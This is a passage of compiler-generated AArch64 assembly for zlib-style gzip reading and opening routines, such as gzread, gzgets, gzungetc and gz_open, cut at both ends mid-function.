ldr w0, [sp, 20]
str w0, [sp, 40]
b .L204
.L206:
ldr x0, [sp, 24]
ldr w0, [x0]
str w0, [sp, 40]
.L204:
ldr x0, [sp, 24]
ldr w1, [x0]
ldr w0, [sp, 40]
sub w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0]
ldr x0, [sp, 24]
ldr x1, [x0, 8]
ldr w0, [sp, 40]
add x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0, 8]
ldr x0, [sp, 24]
ldr w1, [x0, 16]
ldr w0, [sp, 40]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 16]
ldr w1, [sp, 20]
ldr w0, [sp, 40]
sub w0, w1, w0
str w0, [sp, 20]
b .L201
.L202:
ldr x0, [sp, 24]
ldr w0, [x0, 76]
cmp w0, 0
beq .L214
ldr x0, [sp, 24]
ldr w0, [x0, 120]
cmp w0, 0
beq .L215
b .L207
.L214:
nop
.L207:
ldr x0, [sp, 24]
bl gz_fetch
str w0, [sp, 44]
ldr w0, [sp, 44]
cmn w0, #1
bne .L201
mov w0, -1
str w0, [sp, 36]
b .L210
.L201:
ldr w0, [sp, 20]
cmp w0, 0
bne .L211
b .L209
.L215:
nop
.L209:
str wzr, [sp, 36]
.L210:
ldr w0, [sp, 36]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size gz_skip, .-gz_skip
.align 2
.global gzread
.type gzread, %function
gzread:
.LFB16:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 104]
mov x1, 0
ldr x0, [sp, 40]
cmp x0, 0
bne .L217
mov w0, -1
str w0, [sp, 64]
b .L218
.L217:
ldr x0, [sp, 40]
str x0, [sp, 88]
ldr x0, [sp, 88]
add x0, x0, 112
str x0, [sp, 96]
ldr x0, [sp, 88]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L219
mov w0, -1
str w0, [sp, 64]
b .L218
.L219:
ldr x0, [sp, 88]
ldr w0, [x0, 100]
cmp w0, 0
beq .L220
ldr x0, [sp, 88]
ldr w0, [x0, 100]
cmn w0, #5
beq .L220
mov w0, -1
str w0, [sp, 64]
b .L218
.L220:
ldr w0, [sp, 28]
cmp w0, 0
bge .L221
adrp x0, .LC3
add x2, x0, :lo12:.LC3
mov w1, -3
ldr x0, [sp, 88]
bl gz_error
mov w0, -1
str w0, [sp, 64]
b .L218
.L221:
ldr w0, [sp, 28]
cmp w0, 0
bne .L222
str wzr, [sp, 64]
b .L218
.L222:
ldr x0, [sp, 88]
ldr w0, [x0, 96]
cmp w0, 0
beq .L223
ldr x0, [sp, 88]
str wzr, [x0, 96]
ldr x0, [sp, 88]
ldr w0, [x0, 92]
mov w1, w0
ldr x0, [sp, 88]
bl gz_skip
str w0, [sp, 72]
ldr w0, [sp, 72]
cmn w0, #1
bne .L223
mov w0, -1
str w0, [sp, 64]
b .L218
.L223:
str wzr, [sp, 68]
.L239:
ldr x0, [sp, 88]
ldr w0, [x0]
cmp w0, 0
beq .L224
ldr x0, [sp, 88]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
bcs .L225
ldr w0, [sp, 28]
str w0, [sp, 60]
b .L226
.L225:
ldr x0, [sp, 88]
ldr w0, [x0]
str w0, [sp, 60]
.L226:
ldr x0, [sp, 88]
ldr x0, [x0, 8]
ldr w1, [sp, 60]
mov w2, w1
mov x1, x0
ldr x0, [sp, 32]
bl memcpy
ldr x0, [sp, 88]
ldr x1, [x0, 8]
ldr w0, [sp, 60]
uxtw x0, w0
add x1, x1, x0
ldr x0, [sp, 88]
str x1, [x0, 8]
ldr x0, [sp, 88]
ldr w1, [x0]
ldr w0, [sp, 60]
sub w1, w1, w0
ldr x0, [sp, 88]
str w1, [x0]
b .L227
.L224:
ldr x0, [sp, 88]
ldr w0, [x0, 76]
cmp w0, 0
beq .L242
ldr x0, [sp, 96]
ldr w0, [x0, 8]
cmp w0, 0
bne .L243
ldr x0, [sp, 88]
mov w1, 1
str w1, [x0, 80]
b .L230
.L242:
nop
b .L228
.L243:
nop
.L228:
ldr x0, [sp, 88]
ldr w0, [x0, 68]
cmp w0, 0
beq .L244
ldr x0, [sp, 88]
ldr w0, [x0, 40]
lsl w0, w0, 1
ldr w1, [sp, 28]
cmp w1, w0
bcs .L233
b .L232
.L244:
nop
.L232:
ldr x0, [sp, 88]
bl gz_fetch
str w0, [sp, 84]
ldr w0, [sp, 84]
cmn w0, #1
bne .L245
mov w0, -1
str w0, [sp, 64]
b .L218
.L233:
ldr x0, [sp, 88]
ldr w0, [x0, 68]
cmp w0, 1
bne .L236
add x0, sp, 60
mov x3, x0
ldr w2, [sp, 28]
ldr x1, [sp, 32]
ldr x0, [sp, 88]
bl gz_load
str w0, [sp, 80]
ldr w0, [sp, 80]
cmn w0, #1
bne .L227
mov w0, -1
str w0, [sp, 64]
b .L218
.L236:
ldr x0, [sp, 96]
ldr w1, [sp, 28]
str w1, [x0, 32]
ldr x0, [sp, 96]
ldr x1, [sp, 32]
str x1, [x0, 24]
ldr x0, [sp, 88]
bl gz_decomp
str w0, [sp, 76]
ldr w0, [sp, 76]
cmn w0, #1
bne .L237
mov w0, -1
str w0, [sp, 64]
b .L218
.L237:
ldr x0, [sp, 88]
ldr w0, [x0]
str w0, [sp, 60]
ldr x0, [sp, 88]
str wzr, [x0]
.L227:
ldr w0, [sp, 60]
ldr w1, [sp, 28]
sub w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 60]
uxtw x0, w0
ldr x1, [sp, 32]
add x0, x1, x0
str x0, [sp, 32]
ldr w0, [sp, 60]
ldr w1, [sp, 68]
add w0, w1, w0
str w0, [sp, 68]
ldr x0, [sp, 88]
ldr w1, [x0, 16]
ldr w0, [sp, 60]
add w1, w1, w0
ldr x0, [sp, 88]
str w1, [x0, 16]
b .L235
.L245:
nop
.L235:
ldr w0, [sp, 28]
cmp w0, 0
beq .L246
b .L239
.L246:
nop
.L230:
ldr w0, [sp, 68]
str w0, [sp, 64]
.L218:
ldr w0, [sp, 64]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 104]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L241
bl __stack_chk_fail
.L241:
mov w0, w1
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE16:
.size gzread, .-gzread
.align 2
.global gzgetc
.type gzgetc, %function
gzgetc:
.LFB17:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
ldr x0, [sp, 24]
cmp x0, 0
bne .L248
mov w0, -1
str w0, [sp, 36]
b .L249
.L248:
ldr x0, [sp, 24]
str x0, [sp, 48]
ldr x0, [sp, 48]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L250
mov w0, -1
str w0, [sp, 36]
b .L249
.L250:
ldr x0, [sp, 48]
ldr w0, [x0, 100]
cmp w0, 0
beq .L251
ldr x0, [sp, 48]
ldr w0, [x0, 100]
cmn w0, #5
beq .L251
mov w0, -1
str w0, [sp, 36]
b .L249
.L251:
ldr x0, [sp, 48]
ldr w0, [x0]
cmp w0, 0
beq .L252
ldr x0, [sp, 48]
ldr w0, [x0]
sub w1, w0, #1
ldr x0, [sp, 48]
str w1, [x0]
ldr x0, [sp, 48]
ldr w0, [x0, 16]
add w1, w0, 1
ldr x0, [sp, 48]
str w1, [x0, 16]
ldr x0, [sp, 48]
ldr x0, [x0, 8]
str x0, [sp, 56]
ldr x0, [sp, 48]
ldr x0, [x0, 8]
add x1, x0, 1
ldr x0, [sp, 48]
str x1, [x0, 8]
ldr x0, [sp, 56]
ldrb w0, [x0]
str w0, [sp, 36]
b .L249
.L252:
add x0, sp, 64
mov w2, 1
mov x1, x0
ldr x0, [sp, 24]
bl gzread
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 0
bgt .L253
mov w0, -1
str w0, [sp, 40]
b .L254
.L253:
ldrb w0, [sp, 64]
str w0, [sp, 40]
.L254:
ldr w0, [sp, 40]
str w0, [sp, 36]
.L249:
ldr w0, [sp, 36]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 72]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L256
bl __stack_chk_fail
.L256:
mov w0, w1
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE17:
.size gzgetc, .-gzgetc
.align 2
.global gzgetc_
.type gzgetc_, %function
gzgetc_:
.LFB18:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl gzgetc
str w0, [sp, 44]
ldr w0, [sp, 44]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE18:
.size gzgetc_, .-gzgetc_
.section .rodata
.align 3
.LC7:
.string "out of room to push characters"
.text
.align 2
.global gzungetc
.type gzungetc, %function
gzungetc:
.LFB19:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
ldr x0, [sp, 16]
cmp x0, 0
bne .L260
mov w0, -1
str w0, [sp, 32]
b .L261
.L260:
ldr x0, [sp, 16]
str x0, [sp, 56]
ldr x0, [sp, 56]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L262
mov w0, -1
str w0, [sp, 32]
b .L261
.L262:
ldr x0, [sp, 56]
ldr w0, [x0, 100]
cmp w0, 0
beq .L263
ldr x0, [sp, 56]
ldr w0, [x0, 100]
cmn w0, #5
beq .L263
mov w0, -1
str w0, [sp, 32]
b .L261
.L263:
ldr x0, [sp, 56]
ldr w0, [x0, 96]
cmp w0, 0
beq .L264
ldr x0, [sp, 56]
str wzr, [x0, 96]
ldr x0, [sp, 56]
ldr w0, [x0, 92]
mov w1, w0
ldr x0, [sp, 56]
bl gz_skip
str w0, [sp, 36]
ldr w0, [sp, 36]
cmn w0, #1
bne .L264
mov w0, -1
str w0, [sp, 32]
b .L261
.L264:
ldr w0, [sp, 28]
cmp w0, 0
bge .L265
mov w0, -1
str w0, [sp, 32]
b .L261
.L265:
ldr x0, [sp, 56]
ldr w0, [x0]
cmp w0, 0
bne .L266
ldr x0, [sp, 56]
mov w1, 1
str w1, [x0]
ldr x0, [sp, 56]
ldr x1, [x0, 56]
ldr x0, [sp, 56]
ldr w0, [x0, 40]
lsl w0, w0, 1
uxtw x0, w0
sub x0, x0, #1
add x1, x1, x0
ldr x0, [sp, 56]
str x1, [x0, 8]
ldr x0, [sp, 56]
ldr x0, [x0, 8]
ldr w1, [sp, 28]
and w1, w1, 255
strb w1, [x0]
ldr x0, [sp, 56]
ldr w0, [x0, 16]
sub w1, w0, #1
ldr x0, [sp, 56]
str w1, [x0, 16]
ldr x0, [sp, 56]
str wzr, [x0, 80]
ldr w0, [sp, 28]
str w0, [sp, 32]
b .L261
.L266:
ldr x0, [sp, 56]
ldr w1, [x0]
ldr x0, [sp, 56]
ldr w0, [x0, 40]
lsl w0, w0, 1
cmp w1, w0
bne .L267
adrp x0, .LC7
add x2, x0, :lo12:.LC7
mov w1, -3
ldr x0, [sp, 56]
bl gz_error
mov w0, -1
str w0, [sp, 32]
b .L261
.L267:
ldr x0, [sp, 56]
ldr x1, [x0, 8]
ldr x0, [sp, 56]
ldr x0, [x0, 56]
cmp x1, x0
bne .L268
ldr x0, [sp, 56]
ldr x1, [x0, 56]
ldr x0, [sp, 56]
ldr w0, [x0]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 56]
ldr x1, [x0, 56]
ldr x0, [sp, 56]
ldr w0, [x0, 40]
lsl w0, w0, 1
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 48]
b .L269
.L270:
ldr x0, [sp, 48]
sub x0, x0, #1
str x0, [sp, 48]
ldr x0, [sp, 40]
sub x0, x0, #1
str x0, [sp, 40]
ldr x0, [sp, 40]
ldrb w1, [x0]
ldr x0, [sp, 48]
strb w1, [x0]
.L269:
ldr x0, [sp, 56]
ldr x0, [x0, 56]
ldr x1, [sp, 40]
cmp x1, x0
bhi .L270
ldr x0, [sp, 56]
ldr x1, [sp, 48]
str x1, [x0, 8]
.L268:
ldr x0, [sp, 56]
ldr w0, [x0]
add w1, w0, 1
ldr x0, [sp, 56]
str w1, [x0]
ldr x0, [sp, 56]
ldr x0, [x0, 8]
sub x1, x0, #1
ldr x0, [sp, 56]
str x1, [x0, 8]
ldr x0, [sp, 56]
ldr x0, [x0, 8]
ldr w1, [sp, 28]
and w1, w1, 255
strb w1, [x0]
ldr x0, [sp, 56]
ldr w0, [x0, 16]
sub w1, w0, #1
ldr x0, [sp, 56]
str w1, [x0, 16]
ldr x0, [sp, 56]
str wzr, [x0, 80]
ldr w0, [sp, 28]
str w0, [sp, 32]
.L261:
ldr w0, [sp, 32]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE19:
.size gzungetc, .-gzungetc
.align 2
.global gzgets
.type gzgets, %function
gzgets:
.LFB20:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr x0, [sp, 40]
cmp x0, 0
bne .L273
str xzr, [sp, 64]
b .L274
.L273:
ldr x0, [sp, 32]
cmp x0, 0
bne .L275
str xzr, [sp, 64]
b .L274
.L275:
ldr w0, [sp, 28]
cmp w0, 0
bgt .L276
str xzr, [sp, 64]
b .L274
.L276:
ldr x0, [sp, 40]
str x0, [sp, 72]
ldr x0, [sp, 72]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L277
str xzr, [sp, 64]
b .L274
.L277:
ldr x0, [sp, 72]
ldr w0, [x0, 100]
cmp w0, 0
beq .L278
ldr x0, [sp, 72]
ldr w0, [x0, 100]
cmn w0, #5
beq .L278
str xzr, [sp, 64]
b .L274
.L278:
ldr x0, [sp, 72]
ldr w0, [x0, 96]
cmp w0, 0
beq .L279
ldr x0, [sp, 72]
str wzr, [x0, 96]
ldr x0, [sp, 72]
ldr w0, [x0, 92]
mov w1, w0
ldr x0, [sp, 72]
bl gz_skip
str w0, [sp, 56]
ldr w0, [sp, 56]
cmn w0, #1
bne .L279
str xzr, [sp, 64]
b .L274
.L279:
ldr x0, [sp, 32]
str x0, [sp, 80]
ldr w0, [sp, 28]
sub w0, w0, #1
str w0, [sp, 48]
ldr w0, [sp, 48]
cmp w0, 0
beq .L280
.L288:
ldr x0, [sp, 72]
ldr w0, [x0]
cmp w0, 0
bne .L281
ldr x0, [sp, 72]
bl gz_fetch
str w0, [sp, 60]
ldr w0, [sp, 60]
cmn w0, #1
bne .L281
str xzr, [sp, 64]
b .L274
.L281:
ldr x0, [sp, 72]
ldr w0, [x0]
cmp w0, 0
bne .L282
ldr x0, [sp, 72]
mov w1, 1
str w1, [x0, 80]
b .L280
.L282:
ldr x0, [sp, 72]
ldr w0, [x0]
ldr w1, [sp, 48]
cmp w1, w0
bcs .L283
ldr w0, [sp, 48]
str w0, [sp, 52]
b .L284
.L283:
ldr x0, [sp, 72]
ldr w0, [x0]
str w0, [sp, 52]
.L284:
ldr x0, [sp, 72]
ldr x0, [x0, 8]
ldr w2, [sp, 52]
mov w1, 10
bl memchr
str x0, [sp, 88]
ldr x0, [sp, 88]
cmp x0, 0
beq .L285
ldr x0, [sp, 72]
ldr x0, [x0, 8]
ldr x1, [sp, 88]
sub x0, x1, x0
add w0, w0, 1
str w0, [sp, 52]
.L285:
ldr x0, [sp, 72]
ldr x0, [x0, 8]
ldr w2, [sp, 52]
mov x1, x0
ldr x0, [sp, 32]
bl memcpy
ldr x0, [sp, 72]
ldr w1, [x0]
ldr w0, [sp, 52]
sub w1, w1, w0
ldr x0, [sp, 72]
str w1, [x0]
ldr x0, [sp, 72]
ldr x1, [x0, 8]
ldr w0, [sp, 52]
add x1, x1, x0
ldr x0, [sp, 72]
str x1, [x0, 8]
ldr x0, [sp, 72]
ldr w1, [x0, 16]
ldr w0, [sp, 52]
add w1, w1, w0
ldr x0, [sp, 72]
str w1, [x0, 16]
ldr w1, [sp, 48]
ldr w0, [sp, 52]
sub w0, w1, w0
str w0, [sp, 48]
ldr w0, [sp, 52]
ldr x1, [sp, 32]
add x0, x1, x0
str x0, [sp, 32]
ldr w0, [sp, 48]
cmp w0, 0
beq .L291
ldr x0, [sp, 88]
cmp x0, 0
bne .L292
b .L288
.L291:
nop
b .L280
.L292:
nop
.L280:
ldr x1, [sp, 32]
ldr x0, [sp, 80]
cmp x1, x0
bne .L289
str xzr, [sp, 64]
b .L274
.L289:
ldr x0, [sp, 32]
strb wzr, [x0]
ldr x0, [sp, 80]
str x0, [sp, 64]
.L274:
ldr x0, [sp, 64]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE20:
.size gzgets, .-gzgets
.align 2
.global gzdirect
.type gzdirect, %function
gzdirect:
.LFB21:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
bne .L294
str wzr, [sp, 36]
b .L295
.L294:
ldr x0, [sp, 24]
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
bne .L296
ldr x0, [sp, 40]
ldr w0, [x0, 68]
cmp w0, 0
bne .L296
ldr x0, [sp, 40]
ldr w0, [x0]
cmp w0, 0
bne .L296
ldr x0, [sp, 40]
bl gz_look
.L296:
ldr x0, [sp, 40]
ldr w0, [x0, 64]
str w0, [sp, 36]
.L295:
ldr w0, [sp, 36]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE21:
.size gzdirect, .-gzdirect
.align 2
.global gzclose_r
.type gzclose_r, %function
gzclose_r:
.LFB22:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
bne .L299
mov w0, -2
str w0, [sp, 40]
b .L300
.L299:
ldr x0, [sp, 24]
str x0, [sp, 56]
ldr x0, [sp, 56]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L301
mov w0, -2
str w0, [sp, 40]
b .L300
.L301:
ldr x0, [sp, 56]
ldr w0, [x0, 40]
cmp w0, 0
beq .L302
ldr x0, [sp, 56]
add x0, x0, 112
bl inflateEnd
ldr x0, [sp, 56]
ldr x0, [x0, 56]
bl free
ldr x0, [sp, 56]
ldr x0, [x0, 48]
bl free
.L302:
ldr x0, [sp, 56]
ldr w0, [x0, 100]
cmn w0, #5
bne .L303
mov w0, -5
str w0, [sp, 44]
b .L304
.L303:
str wzr, [sp, 44]
.L304:
mov x2, 0
mov w1, 0
ldr x0, [sp, 56]
bl gz_error
ldr x0, [sp, 56]
ldr x0, [x0, 32]
bl free
ldr x0, [sp, 56]
ldr w0, [x0, 28]
bl close
str w0, [sp, 52]
ldr x0, [sp, 56]
bl free
ldr w0, [sp, 52]
cmp w0, 0
beq .L305
mov w0, -1
str w0, [sp, 48]
b .L306
.L305:
ldr w0, [sp, 44]
str w0, [sp, 48]
.L306:
ldr w0, [sp, 48]
str w0, [sp, 40]
.L300:
ldr w0, [sp, 40]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE22:
.size gzclose_r, .-gzclose_r
.align 2
.type gz_reset, %function
gz_reset:
.LFB23:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
str wzr, [x0]
ldr x0, [sp, 24]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
bne .L309
ldr x0, [sp, 24]
str wzr, [x0, 76]
ldr x0, [sp, 24]
str wzr, [x0, 80]
ldr x0, [sp, 24]
str wzr, [x0, 68]
.L309:
ldr x0, [sp, 24]
str wzr, [x0, 96]
mov x2, 0
mov w1, 0
ldr x0, [sp, 24]
bl gz_error
ldr x0, [sp, 24]
str wzr, [x0, 16]
ldr x0, [sp, 24]
str wzr, [x0, 120]
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE23:
.size gz_reset, .-gz_reset
.align 2
.type gz_open, %function
gz_open:
.LFB24:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str x2, [sp, 24]
str wzr, [sp, 64]
ldr x0, [sp, 40]
cmp x0, 0
bne .L312
str xzr, [sp, 80]
b .L313
.L312:
mov w0, 224
bl malloc
str x0, [sp, 88]
ldr x0, [sp, 88]
cmp x0, 0
bne .L314
str xzr, [sp, 80]
b .L313
.L314:
ldr x0, [sp, 88]
str wzr, [x0, 40]
ldr x0, [sp, 88]
mov w1, 8192
str w1, [x0, 44]
ldr x0, [sp, 88]
str xzr, [x0, 104]
ldr x0, [sp, 88]
str wzr, [x0, 24]
ldr x0, [sp, 88]
mov w1, -1
str w1, [x0, 84]
ldr x0, [sp, 88]
str wzr, [x0, 88]
ldr x0, [sp, 88]
str wzr, [x0, 64]
b .L315
.L330:
ldr x0, [sp, 24]
ldrb w0, [x0]
cmp w0, 47
bls .L347
ldr x0, [sp, 24]
ldrb w0, [x0]
cmp w0, 57
bhi .L348
ldr x0, [sp, 24]
ldrb w0, [x0]
sub w1, w0, #48
ldr x0, [sp, 88]
str w1, [x0, 84]
b .L318
.L347:
nop
b .L316
.L348:
nop
.L316:
ldr x0, [sp, 24]
ldrb w0, [x0]
cmp w0, 120
beq .L319
cmp w0, 120
bgt .L318
cmp w0, 119
beq .L320
cmp w0, 119
bgt .L318
cmp w0, 114
beq .L321
cmp w0, 114
bgt .L318
cmp w0, 104
beq .L322
cmp w0, 104
bgt .L318
cmp w0, 102
beq .L323
cmp w0, 102
bgt .L318
cmp w0, 98
beq .L349
cmp w0, 98
bgt .L318
cmp w0, 97
beq .L325
cmp w0, 97
bgt .L318
cmp w0, 84
beq .L326
cmp w0, 84
bgt .L318
cmp w0, 82
beq .L327
cmp w0, 82
bgt .L318
cmp w0, 43
beq .L328
cmp w0, 70
beq .L329
b .L318
.L321:
ldr x0, [sp, 88]
mov w1, 7247
str w1, [x0, 24]
b .L318
.L320:
ldr x0, [sp, 88]
mov w1, 31153
str w1, [x0, 24]
b .L318
.L325:
ldr x0, [sp, 88]
mov w1, 1
str w1, [x0, 24]
b .L318
.L328:
ldr x0, [sp, 88]
bl free
str xzr, [sp, 80]
b .L313
.L319:
mov w0, 1
str w0, [sp, 64]
b .L318
.L323:
ldr x0, [sp, 88]
mov w1, 1
str w1, [x0, 88]
b .L318
.L322:
ldr x0, [sp, 88]
mov w1, 2
str w1, [x0, 88]
b .L318
.L327:
ldr x0, [sp, 88]
mov w1, 3
str w1, [x0, 88]
b .L318
.L329:
ldr x0, [sp, 88]
mov w1, 4
str w1, [x0, 88]
.L326:
ldr x0, [sp, 88]
mov w1, 1
str w1, [x0, 64]
b .L318
.L349:
nop
.L318:
ldr x0, [sp, 24]
add x0, x0, 1
str x0, [sp, 24]
.L315:
ldr x0, [sp, 24]
ldrb w0, [x0]
cmp w0, 0
bne .L330
ldr x0, [sp, 88]
ldr w0, [x0, 24]
cmp w0, 0
bne .L331
ldr x0, [sp, 88]
bl free
str xzr, [sp, 80]
b .L313
.L331:
ldr x0, [sp, 88]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
bne .L332
ldr x0, [sp, 88]
ldr w0, [x0, 64]
cmp w0, 0
beq .L333
ldr x0, [sp, 88]
bl free
str xzr, [sp, 80]
b .L313
.L333:
ldr x0, [sp, 88]
mov w1, 1
str w1, [x0, 64]
.L332:
ldr x0, [sp, 40]
bl strlen
str w0, [sp, 76]
ldr w0, [sp, 76]
add w0, w0, 1
bl malloc
mov x1, x0
ldr x0, [sp, 88]
str x1, [x0, 32]
ldr x0, [sp, 88]
ldr x0, [x0, 32]
cmp x0, 0
bne .L334
ldr x0, [sp, 88]
bl free
str xzr, [sp, 80]
b .L313
.L334:
ldr x0, [sp, 88]
ldr x0, [x0, 32]
ldr x1, [sp, 40]
bl strcpy
ldr x0, [sp, 88]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
bne .L335
str wzr, [sp, 60]
b .L336
.L335:
ldr w0, [sp, 64]
cmp w0, 0
beq .L337
mov w0, 2048
str w0, [sp, 68]
b .L338
.L337:
str wzr, [sp, 68]
.L338:
ldr x0, [sp, 88]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
bne .L339
mov w0, 1024
str w0, [sp, 72]
b .L340
.L339:
mov w0, 8
str w0, [sp, 72]
.L340:
ldr w1, [sp, 68]
mov w0, 513
orr w0, w1, w0
ldr w1, [sp, 72]
orr w0, w1, w0
str w0, [sp, 60]
.L336:
ldr w0, [sp, 36]
cmp w0, 0
blt .L341
ldr x0, [sp, 88]
ldr w1, [sp, 36]
str w1, [x0, 28]
b .L342
.L341:
mov w2, 438
ldr w1, [sp, 60]
ldr x0, [sp, 40]
bl open
mov w1, w0
ldr x0, [sp, 88]
str w1, [x0, 28]
.L342:
ldr x0, [sp, 88]
ldr w0, [x0, 28]
cmn w0, #1
bne .L343
ldr x0, [sp, 88]
ldr x0, [x0, 32]
bl free
ldr x0, [sp, 88]
bl free
str xzr, [sp, 80]
b .L313
.L343:
ldr x0, [sp, 88]
ldr w0, [x0, 24]
cmp w0, 1
bne .L344
ldr x0, [sp, 88]
mov w1, 31153
str w1, [x0, 24]
.L344:
ldr x0, [sp, 88]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
bne .L345
ldr x0, [sp, 88]
ldr w0, [x0, 28]
mov w2, 1
mov w1, 0
bl lseek
mov w1, w0
ldr x0, [sp, 88]
str w1, [x0, 72]
ldr x0, [sp, 88]
ldr w0, [x0, 72]
cmn w0, #1
bne .L345
ldr x0, [sp, 88]
str wzr, [x0, 72]
.L345:
ldr x0, [sp, 88]
bl gz_reset
ldr x0, [sp, 88]
str x0, [sp, 80]
.L313:
ldr x0, [sp, 80]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE24:
.size gz_open, .-gz_open
.align 2
.global gzopen
.type gzopen, %function
gzopen:
.LFB25:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x2, [sp, 16]
mov w1, -1
ldr x0, [sp, 24]
bl gz_open
str x0, [sp, 40]
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE25:
.size gzopen, .-gzopen
.align 2
.global gzopen64
.type gzopen64, %function
gzopen64:
.LFB26:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x2, [sp, 16]
mov w1, -1
ldr x0, [sp, 24]
bl gz_open
str x0, [sp, 40]
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE26:
.size gzopen64, .-gzopen64
.section .rodata
.align 3
.LC8:
.string "<fd:%d>"
.text
.align 2
.global gzdopen
.type gzdopen, %function
gzdopen:
.LFB27:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
ldr w0, [sp, 28]
cmn w0, #1
bne .L355
str xzr, [sp, 40]
b .L356
.L355:
mov w0, 19
bl malloc
str x0, [sp, 48]
ldr x0, [sp, 48]
cmp x0, 0
bne .L357
str xzr, [sp, 40]
b .L356
.L357:
ldr w2, [sp, 28]
adrp x0, .LC8
